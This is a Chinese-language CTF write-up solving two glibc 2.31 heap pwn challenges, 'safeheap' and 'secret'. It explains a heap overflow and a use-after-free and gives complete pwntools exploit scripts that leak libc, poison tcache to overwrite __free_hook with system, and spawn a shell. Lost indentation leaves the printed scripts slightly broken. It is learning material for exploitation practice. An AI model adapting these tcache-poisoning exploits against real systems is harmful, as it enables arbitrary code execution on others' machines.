A1CTF PWN ‘ WP

校赛出的题是2.31版本的,正好符合学习进度,学完2.23的堆利用手法,2.26版本以后引入了tcache bin机制,在2.31之前我感觉tcachbin的利用方式跟fastbin没有很大的区别,2.26版本以上我们释放的小于0x420的堆块都会先进入对应大小的tcache bin中,当对应大小的tcache bin存够7个堆块后,才会按照之前的规则,小于0x80的进入fastbin,大于0x80的进入unsorted bin。然后2.31开始的tcachebin又引入了数量检测机制,free了多少个堆块进tcache bin,就最多申请多少次。具体手法看下面两道题就可以了。

1.safeheap

看到主函数是一个菜单,依次点进去,先看add函数,可以看到有个分支,如果输入0,则可以自定义申请的堆空间的大小,如果不是0,则默认申请0x50的堆空间,没有发现off-by-one漏洞

image-20250802213253531

再来看delete函数,发现free之后将指针置0了,也没有UAF漏洞,但是可以发现,在之前add函数中自定义的大小dword_4160[idx]没有被删除

image-20250802213527875

看edit函数,发现改写堆块内容的大小用的就是dword_4160[idx],那么就可以利用add和edit来实现堆溢出,实现堆溢出的思路:先用add函数中的自定义add申请一个较大的堆块,将其free,再用默认大小的add将刚才的相同序号的堆块申请回来,这样堆块的大小是0x50(+0x10),但是我们edit函数中执行的read函数用的却是我们第一次申请的较大的堆块的大小,那么我们再执行一次edit即可实现堆溢出

image-20250802213759188

下面开始写exp:

先把菜单写好

image-20250802215053020

在堆溢出之前我们要先得到libc的基地址,不同于2.23版本的是,2.26版本以上我们释放的小于0x420的堆块都会先进入对应大小的tcache bin中,当对应大小的tcache bin存够7个堆块后,才会按照之前的规则,小于0x80的进入fastbin,大于0x80的进入unsorted bin,那么这道题,我们直接释放一个大于0x420的堆块就能直接进入unsorted bin中,再将其申请回来,该堆块的fd指针上就会残留libc地址,show一下即可泄露libc地址,注意要多申请一个堆块来隔离top chunk,

image-20250802215131514

注意菜单里面add内容的时候用send,然后add的内容填入换行符,这样的目的是尽可能小的影响libc的地址,如果用sendline再填一个字节内容的话,就会把fd指针的前两个字节覆盖掉,我们计算libc基地址的时候后三位是没有影响的,但是两个字节被覆盖就会影响fd指针的倒数第四位数,所以采取这种方法。用3号堆块的fd指针数值减去当前的libc基地址即可得到偏移,即可得到free_hook和system的地址

image-20250802220310811

之后构造堆溢出,按照之前说过的思路,注意这里的6号堆块,它的作用是绕过2.31版本的tcache bin的数量检测,在2.31之前的版本,tcache bin还可以像2.23的fastbin attack一样释放一个堆块进去,修改堆块的fd指针,连续申请两次,第二次把伪造的堆块申请出来,但是2.31版本中,free了多少个堆块进tcache bin,就最多申请多少次,所以我们要把5号堆块的fd指针的free_hook申请出来的话,我们在这之前只释放5号堆块是不行的,多释放一个6号堆块才可以申请两次,在第二次把free_hook申请出来。image-20250802220851313

我们在第二次申请free_hook的时候,将内容改写为system,之后在申请一个堆块写入/bin/sh,然后delete即可提权。

image-20250802221700469

完整exp:

from pwn import *
context(log_level="debug", arch="amd64", os="linux")
p = process("./safeheap")
#p=remote('',)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add_self(index,size,content):
p.recvuntil("4. edit")
p.sendline(b'1')
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("default:")
p.sendline(str(0))
p.recvuntil("size:")
p.sendline(str(size))
sleep(0.1)
p.send(content)

def add(index,content):
p.recvuntil("4. edit")
p.sendline(b'1')
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("default:")
p.sendline(str(123)) sleep(0.1)
p.send(content)

def edit(index,content):
p.recvuntil("4. edit")
p.sendline(b'4')
p.recvuntil("index:")
p.sendline(str(index))
sleep(0.1)
p.sendline(content)

def delete(index):
p.recvuntil("4. edit")
p.sendline(b'2')
p.recvuntil("index:")
p.sendline(str(index))

def show(index):
p.recvuntil("4. edit")
p.sendline(str(3))
p.recvuntil("index")
p.sendline(str(index))

def bug():
gdb.attach(p)
pause()

add_self(1,0x420,b"\n")
add_self(2,0x20,b"\n")

delete(1)

add_self(3,0x60,b"\n")

show(3)

leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('leak_addr is -->' + hex(leak_addr))
bug()
libc_base = leak_addr - 0x1ecf0a
log.success('libc_base is -->' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add_self(4,0x200,b'\n')
delete(4)
add(4,b"\n")

add_self(5,0x80,b"\n")
add_self(6,0x80,b"\n")

delete(6)
delete(5) # 5 -> 6

edit(4,b"a"*0x50 + p64(0) + p64(0x80 + 0x10 + 0x1) + p64(free_hook))

add_self(7,0x80,b"\n")
add_self(8,0x80,p64(system))

add_self(9,0x100,b"/bin/sh\x00" + b"\n")

#bug()
delete(9)

p.interactive()

运行脚本,成功提权

image-20250802222303256

2.secret

打开ida,发现是第一题的改版,修复了add函数中的漏洞,无法再通过堆溢出攻击

image-20250803131405779

发现main函数中多了一个函数,如果读入777则会进入这个函数中image-20250803131449300

发现是free之后没有将指针置0,UAF漏洞,但是要注意一点,byte_4010在执行一次该函数后会被置0,也就是说该函数只能用一次,所以泄露libc的时候还是不要用UAF的性质,将这一次UAF用到最致命的伪造堆块fd指针的地方

image-20250803131612516

交互菜单跟第一题一样,多加入一个UAF函数

image-20250803131832663

利用第一题相同方法泄露libc基地址

image-20250803131910569

之后的攻击非常简单,先申请两个堆块再释放掉,注意4号堆块要用有UAF漏洞的函数释放,4号堆块进入tcache bin后指针没被置0,我们可以直接修改tcache bin中4号堆块的fd指针为free_hook,在申请两次把free_hook申请出来并将其修改为system,之后的打法也跟第一题一样了

image-20250803132059215

完整exp:

from pwn import *
context(log_level="debug", arch="amd64", os="linux")
p = process("./secret")
#p=remote('',)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add_self(index,size,content):
p.recvuntil("4. edit")
p.sendline(b'1')
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("default:")
p.sendline(str(0))
p.recvuntil("size:")
p.sendline(str(size))
sleep(0.1)
p.send(content)

def add(index,content):
p.recvuntil("4. edit")
p.sendline(b'1')
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("default:")
p.sendline(str(123)) sleep(0.1)
p.send(content)

def edit(index,content):
p.recvuntil("4. edit")
p.sendline(b'4')
p.recvuntil("index:")
p.sendline(str(index))
sleep(0.1)
p.sendline(content)

def delete(index):
p.recvuntil("4. edit")
p.sendline(b'2')
p.recvuntil("index:")
p.sendline(str(index))

def show(index):
p.recvuntil("4. edit")
p.sendline(str(3))
p.recvuntil("index")
p.sendline(str(index))

def UAF(index):
p.recvuntil("4. edit")
p.sendline(b'777')
p.recvuntil('index: ')
p.sendline(str(index))

def bug():
gdb.attach(p)
pause()

add_self(1,0x420,b"\n")
add_self(2,0x20,b"\n")

delete(1)

add_self(3,0x60,b"\n")

show(3)

leak_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.success('leak_addr is -->' + hex(leak_addr))
#bug()
libc_base = leak_addr - 0x1ecf0a
log.success('libc_base is -->' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(4,b'\n')
add(5,b'\n')

delete(5)
UAF(4)

edit(4,p64(free_hook))

add(6,b'\n')
add(7,p64(system))

add(8,b'/bin/sh\x00')
delete(8)

p.interactive()